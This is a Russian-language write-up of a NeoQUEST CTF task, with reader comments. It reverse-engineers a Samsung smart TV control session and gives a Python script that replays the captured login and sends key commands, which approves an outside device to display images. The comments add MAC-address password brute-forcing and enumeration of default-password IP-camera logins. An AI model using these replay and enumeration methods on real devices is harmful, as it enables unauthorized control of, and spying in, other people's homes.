Мы решили проверить, реально ли сделать что-то интересное с умным телевизором, не имея физического доступа к нему (спойлер: реально!), и готовы рассказать об этом на примере разбора задания с NeoQUEST!
Исходные данные
Участникам нужно было вывести на экран телевизора определенную картинку. Всё, что у них было — IP-адрес телевизора и дамп сессии, увеличивающей громкость телевизора. Физический доступ к телевизору был закрыт (в том числе ИК-порт), однако при этом участники могли видеть все, что появляется на экране.
Разбираем дамп сессии
Адрес управляющего компьютера — 10.0.20.130, а адрес телевизора — 10.0.20.105. Содержимое дампа сетевого трафика выглядит следующим образом:
Отбросим все служебные пакеты, не несущие смысловой нагрузки. Остается 4 пакета:
С полной структурой пакетов можно ознакомиться по ссылке, мы же рассмотрим наиболее интересные поля.
Итак, первый пакет, который посылает управляющий компьютер, выглядит следующим образом:
0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 38 ...neoqu est.app8
0010 00 64 00 10 00 54 47 56 6e 61 58 51 67 56 58 4e .d...TGV naXQgVXN
0020 6c 63 67 3d 3d 10 00 54 6d 39 46 59 58 4e 35 56 lcg==..T m9FYXN5V
0030 32 46 35 54 33 56 30 10 00 54 47 56 6e 61 58 51 2F5T3V0. .TGVnaXQ
0040 67 56 58 4e 6c 63 67 3d 3d gVXNlcg= =
Здесь:
- «neoquest.app» — строка, которая может принимать любое значение;
- «TGVnaXQgVXNlcg==» и «Tm9FYXN5V2F5T3V0» — строчки, закодированные в base64. После декодирования получили «Legit User», «NoEasyWayOut» соответственно.
Очевидно, что это пакет авторизации. Второй пакет содержит информацию об успешности авторизации:
0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung.
0010 00 64 00 01 00 .d...
Смысл строки «iapp.samsung» неизвестен, а вот последние 4 байта (64 00 01 00) означают, что авторизация прошла успешно и дальше можно посылать управляющие команды.
Третий пакет является управляющим:
0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 11 ...neoqu est.app.
0010 00 00 00 00 0c 00 53 30 56 5a 58 31 5a 50 54 46 ......S0 VZX1ZPTF
0020 56 51 VQ
По аналогии, последняя строка (S0VZX1ZPTFVQ) — это команда, закодированная в base64, после декодирования которой получается строка «KEY_VOLUP», увеличивающая громкость телевизора (VOLume UP).
Рассматриваем последний пакет: в его последних четырёх байтах хранятся нули, что указывает на успешное выполнение команды:
0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung.
0010 00 00 00 00 00 .....
Воспроизводим сессию
Первое, что хочется сделать после разбора дампа – попробовать повторно воспроизвести сессию. Для этого пишем небольшой код:
import socket
from base64 import b64encode
tv_ip = "10.0.20.101"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((tv_ip, 55000))
#----Authorization--------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+ b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+ b'\x10\x00'+b64encode(b'Legit User')
sock.sendall(msg)
print(sock.recv(1024))
#----Command--------------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+ b64encode(b'KEY_VOLUP')
sock.sendall(msg)
print(sock.recv(1024))
sock.close()
Запускаем …
Отлично! Телевизор увеличил свою громкость на 1, а это значит, что нам удалось успешно авторизоваться и выполнить команду. На этом завершилась первая часть задания. Едем дальше…
Выводим картинку на экран
Теперь нам каким-то образом нужно вывести картинку на экран. Зная, что подопытный телевизор — фирмы Samsung, и, немного погуглив, находим приложение Samsung SmartView, которое умеет посылать на телевизор картинку, не требуя при этом никакой нетривиальной настройки.
Алгоритм действий в данном случае будет примерно следующий:
- Устанавливаем и запускаем SmartView на своем персональном компьютере.
- Телевизор автоматически определился, пробуем подключиться.
На экране телевизора появилось требование авторизовать наше устройство.
Понимаем, что нам нужно выполнить команду нажатия на кнопку Enter для успешной авторизации. Находим в Интернете описание команд, откуда видим, что нам нужно выбрать «KEY_ENTER».
- Запускаем наш код, заменив «KEY_VOLUP» на «KEY_ENTER».
Измененный кодimport socket from base64 import b64encode tv_ip = "10.0.20.101" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((tv_ip, 55000)) #----Authorization-------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+ b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+ b'\x10\x00'+b64encode(b'Legit User') sock.sendall(msg) print(sock.recv(1024)) #----Command-------------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+ b64encode(b'KEY_ENTER') sock.sendall(msg) print(sock.recv(1024)) sock.close()
- SmartView успешно авторизован. Осталось выбрать нужную картинку и отправить ее на телевизор!
Неутешительные выводы
Оказалось, что получить доступ к «умному» телевизору и управлять его громкостью и контентом, выводимым на экран, вполне реальная задача!
Вспоминается зловещее предупреждение Евгения Касперского:
Компьютеры заражаются, мобильные телефоны заражаются. Что будет следующее?… Я уверен, что следующий абсолютно новый вид атак будет на умные телевизоры. Все, что выходит в Интернет, все, что будет подключено к сети, рано или поздно будет «хакнуто».
Что делать — идти к своему телевизору и закрывать ему доступ в Интернет? Или срочно приобретать/разрабатывать антивирус для «умных» телевизоров? Или садиться за компьютер и разрабатывать план мщения для недруга?
Это личный выбор каждого. А мы лишь продемонстрировали одну из опасностей Интернета вещей. На этом мы не остановимся: впереди новый NeoQUEST и новые задания, демонстрирующие проблемы обеспечения безопасности современных технологий.
Комментарии (26)
BigD
23.01.2017 14:49+1Недавно запретил на роутере доступ в Интернет для своего Samsung Smart TV 2012 года. Этот девайс не имеет возможности отключить опцию своего обновления, и постоянно мешал ребёнку смотреть мультики своими частыми обновлениями. А поскольку мультики крутит Apple TV, доступ в инет телевизору и не нужен.
Meklon
23.01.2017 15:15+2Я свой LG сделал тупым дисплеем. И отказался принимать пользовательское соглашение. Телевизор был очень расстроен. Естественно, интернета я ему тоже не дал) все равно никто из смартов рядом с Kodi даже не валялся.
hdfan2
24.01.2017 07:07+2Звучит как юмористический рассказ 15-20-летней давности. «Поссорились с телевизором. Теперь он в отместку круглые сутки показывает Первый канал. Выдержал два дня, потом сломался, принял пользовательское соглашение и дал ему интернет».
Psychosynthesis
24.01.2017 01:24Я вот не могу понять, все эти истерики по поводу уязвимости устройств и прочее, они, получается в случаях, когда устройства сидят за NAT без проброса портов вообще неуместны?
Demon_i
24.01.2017 17:52А в чем проблема? У меня сейчас видны 3 роутера с открытым WiF? Хомячки — они не заморачиваются. Купил — включил. Все работает.
GH0st3rs
27.01.2017 00:40Вардрайвинг ещё никто не отменял, к тому же в чем проблема, запустить Reaver + airodump + pyrit и при правильном выборе железа и конечного словаря, получить доступ к локалкам всех соседей вокруг? Многоквартирный дом, это одно. Я знаю достаточно бизнес центров, в которых мелкие о не очень конторки не особо суетятся о безопасности, выставляя в качестве пароля на WiFi номер кабинета, а котором сидит начальник. Вот тут уже проблема более актуальна.
Inter-A
24.01.2017 17:52Спасибо за статью. В продолжении было бы интересно увидеть реализацию «страшилки» из начала статью. Т.е. получение картинки с «камеры» и «микрофона» телевизора. Выбрать модель смарт TV который поодерживают скайп.
Я, если честно, не вижу в этом всем отдельной проблемы. Вернемся к той же «страшилки» — большой брат следит за тобой. Возьмем обычный ноутбук. Камера есть. Микрофон есть. Соединение с инетом есть. Т.е. все условия что бы сделать из ноута «жучек» на физическом уровне выполнены. (В смартфонах то же). Вопрос лишь в ПО которое позволяет или не позволяет передавать данные с камеры и микрофона третьим лицам без нашего желания.
Теперь перейдем к интернету вещей. Что такое смарт ТВ. Грубо говоря тот же самый ноутбук/смартфон (компьютер) только с большим экраном. Что такое «умный холодильник» — тот же самый ноутбук/смартфон (компьютер) только с функцией холодильника. А значит и принципы безопасности будут одни и те же.
Судя по статье в данной модели телевизора производитель не стал заморачиваться с безопасностью. Но если будет пара взломов и жалоб от покупателей, то выпустят обновление, где логин и пароль будут обязательны для любой команды. Плюс применят не только кодирование но и шифрование пакетов вплоть до «квантовой криптографии» )))
mkll
24.01.2017 18:33Судя по статье в данной модели телевизора производитель не стал заморачиваться с безопасностью. Но если будет пара взломов и жалоб от покупателей, то выпустят обновление
Судя по тому, как обстоят дела с IP-камерами, то даже именитые производители (Sony) не заморачиваются с безопасностью, хотя там была не «пара взломов», а цельный ботнет (Mirai).Inter-A
24.01.2017 20:34С камерами я сам «баловался». Был, а может и есть китайский производитель домашних ip-камер, который предоставлял облачный сервис для удаленного просмотра камеры через инет. Сервис был по умолчанию включен. Логин — серийный номер камеры (идут по порядку), пароль к облаку = паролю пользователя, по умолчанию admin. Перебираем в цикле логины с паролем по умолчанию, пытаемся конектится к облаку — в 30% случаев получаем картинку из дома китайцев. )))
mkll
24.01.2017 21:01Во-о-от! ;) Т.е. это раньше было позволительно себя успокаивать мыслью о том, что, дескать, производители же не дураки, они же предпринимают меры безопасности, и пользователи не дураки, они же… Но вот выяснилось же, что — дураки. И те, и другие. И если пользователям простительно — они не обязаны, в сущности, разбираться в этих аспектах (хотя тоже спорный тезис, но ладно, пусть будут не обязаны), то производители-то! Как можно быть настолько безответственными?
Inter-A
24.01.2017 21:18Старый анекдот:
«До армии я крепко спал — думал мой покой охраняют.
В армии я не спал — сам охранял покой соотечественников.
После армии не могу спокойно спать, потому что знаю кто и как охраняет мой покой.» )))
Это глобальная проблема. Те же «китайские двери» и «пластиковые окна» очень легко открываются, но мы «верим» что они защитят наше жилье.
Производители конечно должны более ответственно подходить к безопасности продукции, по крайне мере закрывать 99% известных уязвимостей. Но если пользователь юзает пароль «123» то это уже его проблемы.
Scalar
Спасибо за статью, но она скорее не про взлом, а про реверс-инжиниринг протокола по которому работает телевизор.
«Дайте мне правильный юзернейм и пароль, а также прямой доступ по сети к устройству, и я его взломаю.»
NWOcs
Вы правы, что для успешной атаки необходим доступ к локальной сети, однако наличие юзернейма и пароля вовсе не требуется.
Smart View авторизует устройство, используя лишь его MAC-адрес, который отправляется в пакете авторизации и может не совпадать с реальным MAC-адресом. Таким образом, получив список MAC-адресов устройств в локальной сети, можно перебирать их, пока первый байт ответа не будет равен 0 (что означает успешную авторизацию). А количество попыток авторизации ничем не ограничено.
Scalar
Я возможно что-то не так понял, но как нажать «KEY_ENTER», не послав правильный логин и пароль?
NWOcs
В нашем примере «Legit User» — логин, «NoEasyWayOut» — пароль. Механизм аутентификации работает таким образом, что ему неважно, какая строчка передается в качестве логина, он проверяет только пароль. Например, если мы пошлем «admin»/«NoEasyWayOut», аутентификация также будет успешна.
Насчет пароля Вы правы: его придется узнать, для этого есть как минимум два способа:
1. Поиск в дампе трафика. Если, например, мы подключены к одной Wi-Fi точке с клиентом, то можно довольно легко словить пакеты авторизации. Ситуация аналогична описанной в статье.
2. Зная, что Smart View (да и многие другие приложения) в качестве пароля использует MAC, можно просканировать локальную сеть и перебрать все имеющиеся MAC адреса.
Отвечая на Ваш вопрос, чтобы нажать «KEY_ENTER», нужно отправить пароль, полученный одним из способов и любой логин.
Scalar
Ясно, спасибо за разъяснение.
Только у вас в статье про MAC адреса ни слова.
mkll
Погодите — правильно ли я понял, что авторизуемое устройство (запрос на авторизацию которого виден на экране) само себя и авторизует, дистанционно нажав за пользователя «Enter»?
NWOcs
Да, всё верно. Наш коротенький скрипт авторизует Smart View, оба запущены на одной машине.
Можно сделать красиво и незаметно, но придется реализовывать необходимый функционал вручную, а от участников этого не требовалось.
NasretdinovRR
Верно. Для работы приложения Smart View на ПК авторизация пройдена обходным путём — команда Enter была не нажата на пульте а отправлена по локальной сети.
mkll
Но это же дырка в безопасности: достаточно разрешить доступ одному приложению на стороннем устройстве — и с этого устройства можно понаразрешать доступов любым другим приложениям. Ай да Samsung!